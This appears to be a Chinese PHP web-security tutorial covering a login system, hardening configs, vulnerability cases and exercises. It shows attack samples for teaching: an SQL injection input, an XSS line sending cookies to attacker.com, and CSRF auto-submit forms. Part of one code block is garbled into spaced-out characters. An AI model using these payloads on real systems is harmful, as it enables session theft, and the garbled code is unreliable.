requirements.emailValid.classList.add('valid');
requirements.emailValid.classList.remove('invalid');
return true;
} else {
requirements.emailValid.classList.remove('valid');
requirements.emailValid.classList.add('invalid');
return false;
}
}
// 事件监听
passwordInput.addEventListener('input', function() {
checkPasswordStrength(this.value);
checkPasswordMatch();
});
confirmInput.addEventListener('input', checkPasswordMatch);
document.getElementById('username').addEventListener('input', checkUsername);
document.getElementById('email').addEventListener('input', checkEmail);
// 表单提交前验证
document.getElementById('registerForm').addEventListener('submit', function(e) {
const password = passwordInput.value;
const strength = checkPasswordStrength(password);
const isMatch = checkPasswordMatch();
const isUsernameValid = document.getElementById('req-username-length').classList.contains('valid') &&
document.getElementById('req-username-chars').classList.contains('valid');
const isEmailValid = checkEmail();
if (strength < 60) {
e.preventDefault();
alert('密码强度不足,请按照要求设置密码');
return false;
}
if (!isMatch) {
e.preventDefault();
alert('两次输入的密码不一致');
return false;
}
if (!isUsernameValid) {
e.preventDefault();
alert('用户名不符合要求');
return false;
}
if (!isEmailValid) {
e.preventDefault();
alert('请输入有效的邮箱地址');
return false;
}
});
// 初始检查
checkUsername();
checkEmail();
</script>
</body>
</html>
步骤5:登录页面实现
php
<?php
// File: login.php
require_once 'includes/Security/CoreSecurity.php';
require_once 'includes/Security/AuthManager.php';
// 初始化
session_start();
$db = new PDO('mysql:host=localhost;dbname=secure_auth;charset=utf8mb4', 'root', '');
$security = new CoreSecurity($db);
$auth = new AuthManager($db, $security);
// 设置安全头
$security->setSecurityHeaders();
// 如果已登录,重定向到首页
if (isset($_COOKIE['session_token'])) {
$sessionValid = $auth->validateSession($_COOKIE['session_token']);
if ($sessionValid) {
header('Location: dashboard.php');
exit;
}
}
// 处理登录请求
$message = '';
$success = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// 验证CSRF令牌
if (!$security->validateCsrfToken($_POST['csrf_token'] ?? '', 'login')) {
$message = '安全令牌验证失败,请刷新页面重试';
} else {
// 获取并清理输入
$username = $security->sanitizeInput($_POST['username'] ?? '', 'html');
$password = $_POST['password'] ?? '';
$rememberMe = isset($_POST['remember_me']);
// 执行登录
$result = $auth->login($username, $password, $rememberMe);
if ($result['success']) {
if ($result['requires_2fa']) {
// 需要双因素认证,跳转到2FA页面
$_SESSION['temp_user'] = $result['user'];
$_SESSION['temp_session'] = $result['session'];
header('Location: twofactor.php');
exit;
} else {
// 登录成功,跳转到仪表板
header('Location: dashboard.php');
exit;
}
} else {
$message = $result['message'];
}
}
}
// 生成CSRF令牌
$csrfToken = $security->generateCsrfToken('login');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>用户登录 - 安全认证系统</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
margin: 0;
padding: 20px;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
width: 100%;
max-width: 400px;
}
.login-card {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 15px 35px rgba(0,0,0,0.2);
}
h1 {
text-align: center;
color: #333;
margin-bottom: 30px;
font-size: 28px;
}
.form-group {
margin-bottom: 25px;
position: relative;
}
label {
display: block;
margin-bottom: 8px;
color: #555;
font-weight: 600;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 12px 15px;
border: 2px solid #e0e0e0;
border-radius: 6px;
box-sizing: border-box;
font-size: 16px;
transition: border-color 0.3s;
}
input:focus {
outline: none;
border-color: #667eea;
}
.remember-me {
display: flex;
align-items: center;
margin-bottom: 25px;
}
.remember-me input {
margin-right: 10px;
}
.remember-me label {
margin-bottom: 0;
cursor: pointer;
}
.btn {
width: 100%;
padding: 14px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border: none;
border-radius: 6px;
cursor: pointer;
font-size: 16px;
font-weight: 600;
transition: transform 0.3s, box-shadow 0.3s;
}
.btn:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
}
.btn:active {
transform: translateY(0);
}
.message {
padding: 15px;
border-radius: 6px;
margin-bottom: 25px;
text-align: center;
animation: slideDown 0.3s ease;
}
@keyframes slideDown {
from {
opacity: 0;
transform: translateY(-20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.message.success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.message.error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.message.warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeaa7;
}
.links {
display: flex;
justify-content: space-between;
margin-top: 25px;
padding-top: 25px;
border-top: 1px solid #eee;
}
.links a {
color: #667eea;
text-decoration: none;
font-size: 14px;
}
.links a:hover {
text-decoration: underline;
}
.security-tips {
background: #f8f9fa;
padding: 15px;
border-radius: 6px;
margin-top: 25px;
font-size: 13px;
color: #666;
}
.security-tips h3 {
margin-top: 0;
color: #333;
font-size: 14px;
}
.security-tips ul {
margin: 10px 0;
padding-left: 20px;
}
.security-tips li {
margin-bottom: 5px;
}
.attempts-warning {
background: #fff3cd;
padding: 10px;
border-radius: 6px;
margin-bottom: 20px;
font-size: 14px;
color: #856404;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<div class="login-card">
<h1>用户登录</h1>
<?php
// 显示登录尝试警告
if (isset($_POST['username'])) {
$username = $security->sanitizeInput($_POST['username'], 'html');
if ($security->checkBruteForce($username)) {
echo '<div class="attempts-warning">⚠️ 检测到多次登录失败,账户已被临时锁定</div>';
}
}
if ($message): ?>
<div class="message <?php echo $success ? 'success' : 'error'; ?>">
<?php echo htmlspecialchars($message); ?>
</div>
<?php endif; ?>
<form method="POST" id="loginForm">
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrfToken); ?>">
<div class="form-group">
<label for="username">用户名或邮箱</label>
<input type="text" id="username" name="username" required
value="<?php echo isset($_POST['username']) ? htmlspecialchars($_POST['username']) : ''; ?>">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" id="password" name="password" required>
</div>
<div class="remember-me">
<input type="checkbox" id="remember_me" name="remember_me" value="1">
<label for="remember_me">记住登录状态</label>
</div>
<button type="submit" class="btn">登录</button>
</form>
<div class="links">
<a href="register.php">注册新账号</a>
<a href="forgot_password.php">忘记密码?</a>
</div>
<div class="security-tips">
<h3>💡 安全提示:</h3>
<ul>
<li>不要在公共计算机上选择"记住登录状态"</li>
<li>定期更换密码,确保密码强度</li>
<li>检查网址是否为HTTPS开头</li>
<li>不要在不明网站上使用相同密码</li>
</ul>
</div>
</div>
</div>
<script>
// 防止表单重复提交
let formSubmitted = false;
document.getElementById('loginForm').addEventListener('submit', function(e) {
if (formSubmitted) {
e.preventDefault();
return false;
}
formSubmitted = true;
// 禁用提交按钮
const submitBtn = this.querySelector('button[type="submit"]');
submitBtn.disabled = true;
submitBtn.textContent = '登录中...';
return true;
});
// 回车键提交
document.addEventListener('keydown', function(e) {
if (e.key === 'Enter' && !e.target.matches('textarea, input[type="text"]')) {
const activeElement = document.activeElement;
if (activeElement.matches('input[type="text"], input[type="password"]')) {
document.getElementById('loginForm').submit();
}
}
});
// 自动聚焦到用户名输入框
document.getElementById('username').focus();
</script>
</body>
</html>
项目测试和部署指南
测试步骤
- 单元测试:
php
// tests/SecurityTest.php
class SecurityTest extends PHPUnit\Framework\TestCase {
public function testPasswordHash() {
$password = 'Test123!';
$hash = password_hash($password, PASSWORD_DEFAULT);
$this->assertTrue(password_verify($password, $hash));
}
public function testCSRFTokenValidation() {
$security = new CoreSecurity(new PDO('sqlite::memory:'));
$token = $security->generateCsrfToken('test');
$this->assertTrue($security->validateCsrfToken($token, 'test'));
$this->assertFalse($security->validateCsrfToken('invalid', 'test'));
}
}
- 安全测试:
- 使用OWASP ZAP进行漏洞扫描
- 测试SQL注入防护
- 测试XSS防护
- 测试CSRF防护
- 测试暴力破解防护
- 功能测试:
- 用户注册流程
- 登录流程(正常和失败情况)
- 密码重置流程
- 会话管理测试
- 并发访问测试
部署指南
- 服务器配置:
apache
# .htaccess 安全配置
# 强制HTTPS
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https:// %{HTTP_HOST}%{REQUEST_URI} [L,R=301]
# 安全头
Header always set Content-Security-Policy "default-src 'self'"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
# 防止目录浏览
Options -Indexes
# 保护敏感文件
<FilesMatch "\.(htaccess|htpasswd|ini|log|sh|sql)$">
Order Allow,Deny
Deny from all
</FilesMatch>
- PHP配置:
ini
; php.ini 安全配置
expose_php = Off
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = Strict
session.use_strict_mode = 1
session.use_only_cookies = 1
session.gc_maxlifetime = 1800
allow_url_fopen = Off
allow_url_include = Off
- 数据库配置:
sql
-- 创建专用数据库用户
CREATE USER 'secure_auth_user'@'localhost' IDENTIFIED BY '强密码';
GRANT SELECT, INSERT, UPDATE, DELETE ON secure_auth.* TO 'secure_auth_user'@'localhost';
FLUSH PRIVILEGES;
项目扩展和优化建议
扩展功能
-
双因素认证(2FA)
phpclass TwoFactorAuth { public function generateSecret() { return random_bytes(20); // 生成20字节的密钥
}
public function getQRCodeUrl($secret, $username, $issuer) {
// 生成Google Authenticator兼容的OTP URL
}
public function verifyCode($secret, $code) {
// 验证TOTP代码
}
}
2. **登录审计功能**
```php
class LoginAudit {
public function logLoginAttempt($userId, $success, $metadata) {
// 记录详细的登录信息
}
public function getSuspiciousActivities($userId) {
// 检测可疑登录行为
}
}
-
密码策略管理
phpclass PasswordPolicy { private $rules = [ 'min_length' => 12, 'require_mixed_case' => true, 'require_numbers' => true, 'require_special_chars' => true, 'prevent_reuse' => true, 'max_age_days' => 90 ]; public function enforcePolicy($userId, $newPassword) { // 执行密码策略
}
}
#### 性能优化
1. **会话存储优化**:使用Redis存储Session
2. **数据库优化**:添加适当的索引,使用查询缓存
3. **缓存策略**:对频繁访问的数据进行缓存
4. **CDN集成**:静态资源使用CDN加速
#### 安全优化
1. **Web应用防火墙(WAF)**:集成ModSecurity
2. **DDoS防护**:实施速率限制
3. **安全监控**:集成SIEM系统
4. **定期安全审计**:定期进行代码安全审查
## 最佳实践
### 1. 会话安全最佳实践
#### 会话配置
```php
// 安全的Session配置
ini_set('session.cookie_secure', 1); // 仅HTTPS
ini_set('session.cookie_httponly', 1); // 防止JS访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1); // 只接受服务器生成的Session ID
ini_set('session.use_only_cookies', 1); // 只使用Cookie传递Session ID
ini_set('session.gc_maxlifetime', 1800); // 30分钟过期
ini_set('session.gc_probability', 1); // 垃圾回收概率
ini_set('session.gc_divisor', 100); // 每100个请求回收一次
会话管理
-
会话固定防护:登录成功后重新生成Session ID
phpsession_regenerate_id(true); -
会话劫持检测:验证IP和User-Agent
phpif ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR'] || $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) { // 可疑活动,销毁会话
session_destroy();
header('Location: login.php?reason=hijack');
exit;
}
3. **会话过期处理**:实现滑动过期和绝对过期
```php
// 滑动过期:每次活动延长过期时间
$_SESSION['last_activity'] = time();
// 绝对过期:无论是否活动,固定时间后过期
if (isset($_SESSION['created']) && (time() - $_SESSION['created']) > 3600) {
session_destroy();
header('Location: login.php?reason=timeout');
exit;
}
2. 密码安全最佳实践
存储策略
- 使用Argon2id算法(PHP 7.2+)
php
$hash = password_hash($password, PASSWORD_ARGON2ID, [
'memory_cost' => 65536, // 64MB
'time_cost' => 4, // 迭代次数
'threads' => 3 // 线程数
]);
-
密码策略实施
phpclass PasswordValidator { public static function validate($password) { $errors = []; // 长度检查
if (strlen($password) < 12) {
$errors[] = '密码至少12个字符';
}
// 复杂性检查
if (!preg_match('/[a-z]/', $password)) {
$errors[] = '需要小写字母';
}
if (!preg_match('/[A-Z]/', $password)) {
$errors[] = '需要大写字母';
}
if (!preg_match('/[0-9]/', $password)) {
$errors[] = '需要数字';
}
if (!preg_match('/[^A-Za-z0-9]/', $password)) {
$errors[] = '需要特殊字符';
}
// 常见密码检查
c o m m o n = f i l e ( ′ c o m m o n − p a s s w o r d s . t x t ′ , F I L E I G N O R E N E W L I N E S ) ; i f ( i n a r r a y ( common = file('common-passwords.txt', FILE_IGNORE_NEW_LINES); if (in_array( common=file(′common−passwords.txt′,FILEIGNORENEWLINES);if(inarray(password, $common)) {
$errors[] = '密码过于常见';
}
// 模式检查
if (preg_match('/(.)\1{2,}/', $password)) {
$errors[] = '不能有重复字符';
}
// 序列检查(如123, abc)
if (preg_match('/(?:abc|bcd|cde|def|efg|fgh|ghi|hij|ijk|jkl|klm|lmn|mno|nop|opq|pqr|qrs|rst|stu|tuv|uvw|vwx|wxy|xyz)/i', $password) ||
preg_match('/(?:012|123|234|345|456|567|678|789|890)/', $password)) {
$errors[] = '不能包含连续字符或数字';
}
return $errors;
}
}
3. **密码历史记录**:防止密码重用
```sql
CREATE TABLE password_history (
id INT PRIMARY KEY AUTO_INCREMENT,
user_id INT NOT NULL,
password_hash VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);
3. Web安全防护综合方案
输入验证和过滤
php
class InputValidator {
// 白名单验证
public static function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}
public static function validateUrl($url) {
return filter_var($url, FILTER_VALIDATE_URL) !== false;
}
public static function validateInteger($value, $min = null, $max = null) {
$options = [];
if ($min !== null) $options['min_range'] = $min;
if ($max !== null) $options['max_range'] = $max;
return filter_var($value, FILTER_VALIDATE_INT, ['options' => $options]) !== false;
}
// 黑名单过滤
public static function removeMaliciousCode($input) {
$patterns = [
// 移除脚本标签
'/<script\b[^>]*>(.*?)<\/script>/is',
// 移除危险的HTML属性
'/\bon\w+\s*=/i',
// 移除JavaScript伪协议
'/javascript:/i',
// 移除VBScript伪协议
'/vbscript:/i',
// 移除数据URI
'/data:/i',
];
return preg_replace($patterns, '', $input);
}
// 上下文相关的输出编码
public static function encodeForContext($input, $context) {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
case 'html_attribute':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'javascript':
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
case 'css':
// CSS编码
$input = preg_replace('/[<>]/', '', $input);
return preg_replace_callback('/[^a-zA-Z0-9]/', function($matches) {
return '\\' . bin2hex($matches[0]);
}, $input);
case 'url':
return urlencode($input);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
}
安全头配置
php
class SecurityHeaders {
public static function setAll() {
// CSP - 内容安全策略
self::setCSP();
// HSTS - HTTP严格传输安全
self::setHSTS();
// 其他安全头
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
}
private static function setCSP() {
$directives = [
"default-src 'self'",
"script-src 'self' 'unsafe-inline' https:// trusted.cdn.com",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self'",
"media-src 'self'",
"object-src 'none'",
"child-src 'self'",
"frame-ancestors 'none'",
"form-action 'self'",
"base-uri 'self'",
"manifest-src 'self'"
];
header("Content-Security-Policy: " . implode('; ', $directives));
}
private static function setHSTS() {
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
}
}
}
4. 常见安全漏洞案例与防护
案例1:SQL注入攻击
攻击代码:
php
// 漏洞代码
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
// 攻击者可以输入:1 OR 1=1
// 最终SQL:SELECT * FROM users WHERE id = 1 OR 1=1
防护方案:
php
// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
$user = $stmt->fetch();
// 或者使用命名参数
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute([':id' => $id]);
$user = $stmt->fetch();
案例2:反射型XSS攻击
攻击代码:
php
// 漏洞代码
echo "搜索结果: " . $_GET['q'];
// 攻击者可以输入:<script>alert('XSS')</script>
// 或更危险的:<script>fetch('http://attacker.com/?cookie='+document.cookie)</script>
防护方案:
php
// 输出编码
$searchTerm = $_GET['q'] ?? '';
echo "搜索结果: " . htmlspecialchars($searchTerm, ENT_QUOTES, 'UTF-8');
// 或者使用上下文编码
function escapeOutput($input, $context = 'html') {
switch ($context) {
case 'html':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'attribute':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'javascript':
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
案例3:CSRF攻击
攻击场景:
html
<!-- 攻击者网站上的恶意表单 -->
<form action="https:// victim.com/transfer" method="POST" id="malicious">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to_account" value="attacker">
</form>
<script>document.getElementById('malicious').submit();</script>
防护方案:
php
// 生成CSRF令牌
function generateCsrfToken() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证CSRF令牌
function validateCsrfToken($token) {
return isset($_SESSION['csrf_token']) &&
hash_equals($_SESSION['csrf_token'], $token);
}
// 在表单中使用
echo '<input type="hidden" name="csrf_token" value="' . generateCsrfToken() . '">';
案例4:会话固定攻击
攻击过程:
- 攻击者获取一个有效的Session ID
- 诱使用户使用这个Session ID登录
- 用户登录后,攻击者也能访问用户会话
防护方案:
php
// 登录成功后重新生成Session ID
session_regenerate_id(true);
// 销毁旧Session数据
$_SESSION = [];
// 设置新的Session数据
$_SESSION['user_id'] = $userId;
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['created'] = time();
案例5:不安全的直接对象引用(IDOR)
漏洞代码:
php
// 用户可以直接修改URL参数访问其他用户数据
$userId = $_GET['user_id']; // 攻击者可以改成其他用户的ID
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
防护方案:
php
// 检查权限
$currentUserId = $_SESSION['user_id'];
$requestedUserId = $_GET['user_id'];
if ($currentUserId != $requestedUserId && !isAdmin($currentUserId)) {
// 没有权限访问其他用户数据
header('HTTP/1.0 403 Forbidden');
exit('Access denied');
}
// 或者在查询中加入权限检查
$stmt = $pdo->prepare("
SELECT * FROM users
WHERE id = ?
AND (id = ? OR ? IN (SELECT user_id FROM admins))
");
$stmt->execute([$requestedUserId, $currentUserId, $currentUserId]);
5. 安全开发流程建议
- 安全需求分析:
- 识别敏感数据和处理流程
- 定义安全需求和合规要求
- 制定数据分类和访问控制策略
- 安全设计:
- 采用最小权限原则
- 实施深度防御策略
- 设计安全的错误处理机制
- 规划安全审计和日志记录
- 安全编码:
- 遵循安全编码规范
- 使用安全的API和函数
- 避免使用已弃用的函数
- 定期进行代码安全审查
- 安全测试:
- 单元测试包含安全测试用例
- 进行渗透测试和漏洞扫描
- 模拟真实攻击场景测试
- 定期进行安全审计
- 安全部署和运维:
- 实施安全配置管理
- 定期更新和打补丁
- 监控安全事件和异常
- 制定应急响应计划
练习题与挑战
基础练习题
练习1:理解Session和Cookie的区别
题目:
- 解释Session和Cookie在存储位置、安全性、数据大小限制方面的主要区别
- 在什么情况下应该使用Session?在什么情况下应该使用Cookie?
- 编写一个PHP脚本,演示如何同时使用Session和Cookie来记住用户的主题偏好
难度等级 :★☆☆☆☆(基础)
解题提示:
- Session数据存储在服务器端,Cookie存储在客户端
- Session更适合存储敏感信息,Cookie适合存储非敏感的用户偏好
- 考虑数据大小限制:Cookie每个4KB,Session受服务器内存限制
参考答案:
php
<?php
session_start();
// 使用Session存储登录状态
if (!isset($_SESSION['theme'])) {
$_SESSION['theme'] = 'light'; // 默认主题
}
// 使用Cookie记住用户偏好
if (isset($_POST['theme'])) {
$theme = $_POST['theme'];
$_SESSION['theme'] = $theme;
setcookie('user_theme', $theme, time() + 86400 * 30, '/', '', true, true);
} elseif (isset($_COOKIE['user_theme'])) {
$_SESSION['theme'] = $_COOKIE['user_theme'];
}
// 应用主题
$currentTheme = $_SESSION['theme'];
?>
<!DOCTYPE html>
<html>
<head>
<style>
.light { background: white; color: black; }
.dark { background: #333; color: white; }
</style>
</head>
<body class="<?php echo htmlspecialchars($currentTheme); ?>">
<h1>当前主题: <?php echo htmlspecialchars($currentTheme); ?></h1>
<form method="POST">
<button name="theme" value="light">亮色主题</button>
<button name="theme" value="dark">暗色主题</button>
</form>
</body>
</html>
练习2:实现基本的XSS防护
题目:
- 创建一个简单的评论系统,包含评论表单和显示功能
- 演示如果不进行防护,XSS攻击如何发生
- 使用
htmlspecialchars()函数防护XSS攻击 - 扩展功能:允许一些安全的HTML标签(如
<b>,<i>,<a>)
难度等级 :★★☆☆☆(基础)
解题提示:
- 使用
strip_tags()函数可以指定允许的HTML标签 - 对于链接,需要验证URL是否安全
- 考虑使用HTML净化库处理复杂情况
参考答案:
php
<?php
session_start();
$comments = [];
// 处理评论提交
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['comment'])) {
$comment = $_POST['comment'];
$author = $_POST['author'] ?? '匿名';
// 基础防护:转义所有HTML
$safeComment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
$safeAuthor = htmlspecialchars($author, ENT_QUOTES, 'UTF-8');
// 高级防护:允许一些安全标签
$allowedTags = '<b><i><u><strong><em><code>';
$filteredComment = strip_tags($comment, $allowedTags);
// 进一步清理属性
$filteredComment = preg_replace('/on\w+\s*=/i', 'data-removed=', $filteredComment);
$comments[] = [
'author' => $safeAuthor,
'comment' => $filteredComment,
'timestamp' => date('Y-m-d H:i:s')
];
// 保存评论(实际项目中应该保存到数据库)
$_SESSION['comments'] = $comments;
}
// 获取已保存的评论
$comments = $_SESSION['comments'] ?? [];
?>
<!DOCTYPE html>
<html>
<head>
<title>评论系统</title>
<style>
.comment { border: 1px solid #ccc; margin: 10px 0; padding: 10px; }
.danger { background: #ffcccc; }
</style>
</head>
<body>
<h1>评论系统</h1>
<form method="POST">
<div>
<label>姓名:<input type="text" name="author"></label>
</div>
<div>
<label>评论:<textarea name="comment" rows="4"></textarea></label>
</div>
<button type="submit">提交评论</button>
</form>
<h2>评论列表</h2>
<?php if (empty($comments)): ?>
<p>暂无评论</p>
<?php else: ?>
<?php foreach ($comments as $c): ?>
<div class="comment">
<strong><?php echo $c['author']; ?></strong>
<small><?php echo $c['timestamp']; ?></small>
<p><?php echo $c['comment']; ?></p>
</div>
<?php endforeach; ?>
<?php endif; ?>
<h3>XSS测试</h3>
<div class="danger">
<p>尝试提交以下内容测试XSS防护:</p>
<ul>
<li><script>alert('XSS')</script></li>
<li><img src="x" onerror="alert(1)"></li>
<li><a href="javascript:alert(1)">点击我</a></li>
</ul>
<p>注意:安全防护后的效果</p>
</div>
</body>
</html>
进阶练习题
练习3:实现CSRF防护的购物车系统
题目 :
设计一个简单的购物车系统,要求:
- 用户可以添加商品到购物车
- 用户可以查看购物车并结算
- 结算表单必须包含CSRF防护
- 实现一次性CSRF令牌,使用后失效
- 添加令牌过期时间验证(5分钟过期)
难度等级 :★★★☆☆(进阶)
解题提示:
- 使用Session存储CSRF令牌
- 每个表单使用唯一的令牌标识
- 验证令牌后从Session中移除
- 考虑令牌的过期时间
参考答案:
php
<?php
session_start();
class ShoppingCart {
private $csrfTokens = [];
public function __construct() {
if (!isset($_SESSION['cart'])) {
$_SESSION['cart'] = [];
}
if (!isset($_SESSION['csrf_tokens'])) {
$_SESSION['csrf_tokens'] = [];
}
$this->csrfTokens = &$_SESSION['csrf_tokens'];
}
// 生成CSRF令牌
public function generateCsrfToken($formId) {
$token = bin2hex(random_bytes(32));
$this->csrfTokens[$formId] = [
'token' => $token,
'hash' => hash('sha256', $token),
'created' => time(),
'expires' => time() + 300 // 5分钟过期
];
$this->cleanupExpiredTokens();
return $token;
}
// 验证CSRF令牌
public function validateCsrfToken($formId, $inputToken) {
if (!isset($this->csrfTokens[$formId]) || empty($inputToken)) {
return false;
}
$storedToken = $this->csrfTokens[$formId];
// 检查是否过期
if (time() > $storedToken['expires']) {
unset($this->csrfTokens[$formId]);
return false;
}
// 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $inputToken));
// 使用后删除(一次性令牌)
if ($isValid) {
unset($this->csrfTokens[$formId]);
}
return $isValid;
}
// 清理过期令牌
private function cleanupExpiredTokens() {
foreach ($this->csrfTokens as $formId => $tokenData) {
if (time() > $tokenData['expires']) {
unset($this->csrfTokens[$formId]);
}
}
}
// 添加商品到购物车
public function addToCart($productId, $productName, $price, $quantity = 1) {
if (!isset($_SESSION['cart'][$productId])) {
$_SESSION['cart'][$productId] = [
'name' => $productName,
'price' => $price,
'quantity' => $quantity
];
} else {
$_SESSION['cart'][$productId]['quantity'] += $quantity;
}
}
// 获取购物车总价
public function getTotal() {
$total = 0;
foreach ($_SESSION['cart'] as $item) {
$total += $item['price'] * $item['quantity'];
}
return $total;
}
// 结算购物车
public function checkout() {
// 这里应该处理支付逻辑
$_SESSION['cart'] = []; // 清空购物车
return true;
}
}
// 使用示例
$cart = new ShoppingCart();
// 处理添加商品请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_to_cart'])) {
if (!$cart->validateCsrfToken('add_item', $_POST['csrf_token'] ?? '')) {
die('CSRF令牌验证失败!');
}
$cart->addToCart(
$_POST['product_id'],
$_POST['product_name'],
$_POST['price'],
$_POST['quantity'] ?? 1
);
}
// 处理结算请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['checkout'])) {
if (!$cart->validateCsrfToken('checkout', $_POST['csrf_token'] ?? '')) {
die('CSRF令牌验证失败!');
}
if ($cart->checkout()) {
$message = "结算成功!";
}
}
// 商品列表
$products = [
1 => ['name' => 'PHP编程书', 'price' => 69.99],
2 => ['name' => 'Web安全指南', 'price' => 89.99],
3 => ['name' => '数据库设计', 'price' => 79.99],
];
?>
<!DOCTYPE html>
<html>
<head>
<title>购物车系统</title>
<style>
body { font-family: Arial; max-width: 800px; margin: 0 auto; padding: 20px; }
.products, .cart { border: 1px solid #ccc; padding: 20px; margin: 20px 0; }
.product { border-bottom: 1px solid #eee; padding: 10px 0; }
.error { color: red; }
.success { color: green; }
</style>
</head>
<body>
<h1>购物车系统</h1>
<?php if (isset($message)): ?>
<div class="success"><?php echo htmlspecialchars($message); ?></div>
<?php endif; ?>
<div class="products">
<h2>商品列表</h2>
<?php foreach ($products as $id => $product): ?>
<div class="product">
<h3><?php echo htmlspecialchars($product['name']); ?></h3>
<p>价格: ¥<?php echo number_format($product['price'], 2); ?></p>
<form method="POST">
<input type="hidden" name="csrf_token"
value="<?php echo $cart->generateCsrfToken('add_item'); ?>">
<input type="hidden" name="product_id" value="<?php echo $id; ?>">
<input type="hidden" name="product_name" value="<?php echo htmlspecialchars($product['name']); ?>">
<input type="hidden" name="price" value="<?php echo $product['price']; ?>">
<input type="number" name="quantity" value="1" min="1" style="width: 60px;">
<button type="submit" name="add_to_cart">加入购物车</button>
</form>
</div>
<?php endforeach; ?>
</div>
<div class="cart">
<h2>购物车</h2>
<?php if (empty($_SESSION['cart'])): ?>
<p>购物车为空</p>
<?php else: ?>
<table border="1" cellpadding="10" cellspacing="0" style="width:100%">
<tr>
<th>商品名称</th>
<th>单价</th>
<th>数量</th>
<th>小计</th>
</tr>
<?php $total = 0; ?>
<?php foreach ($_SESSION['cart'] as $item): ?>
<tr>
<td><?php echo htmlspecialchars($item['name']); ?></td>
<td>¥<?php echo number_format($item['price'], 2); ?></td>
<td><?php echo $item['quantity']; ?></td>
<td>¥<?php echo number_format($item['price'] * $item['quantity'], 2); ?></td>
</tr>
<?php $total += $item['price'] * $item['quantity']; ?>
<?php endforeach; ?>
<tr>
<td colspan="3" align="right"><strong>总计:</strong></td>
<td><strong>¥<?php echo number_format($total, 2); ?></strong></td>
</tr>
</table>
<form method="POST" style="margin-top: 20px;">
<input type="hidden" name="csrf_token"
value="<?php echo $cart->generateCsrfToken('checkout'); ?>">
<button type="submit" name="checkout">结算购物车</button>
</form>
<?php endif; ?>
</div>
<div class="csrf-test">
<h3>CSRF攻击测试</h3>
<p>尝试在另一个页面提交以下表单:</p>
<pre>
<form action="http:// localhost/cart.php" method="POST" id="attack">
<input type="hidden" name="product_id" value="1">
<input type="hidden" name="product_name" value="免费商品">
<input type="hidden" name="price" value="0">
<input type="hidden" name="quantity" value="100">
<input type="hidden" name="add_to_cart" value="1">
</form>
<script>document.getElementById('attack').submit();</script>
</pre>
<p>由于CSRF防护,这个攻击会失败</p>
</div>
</body>
</html>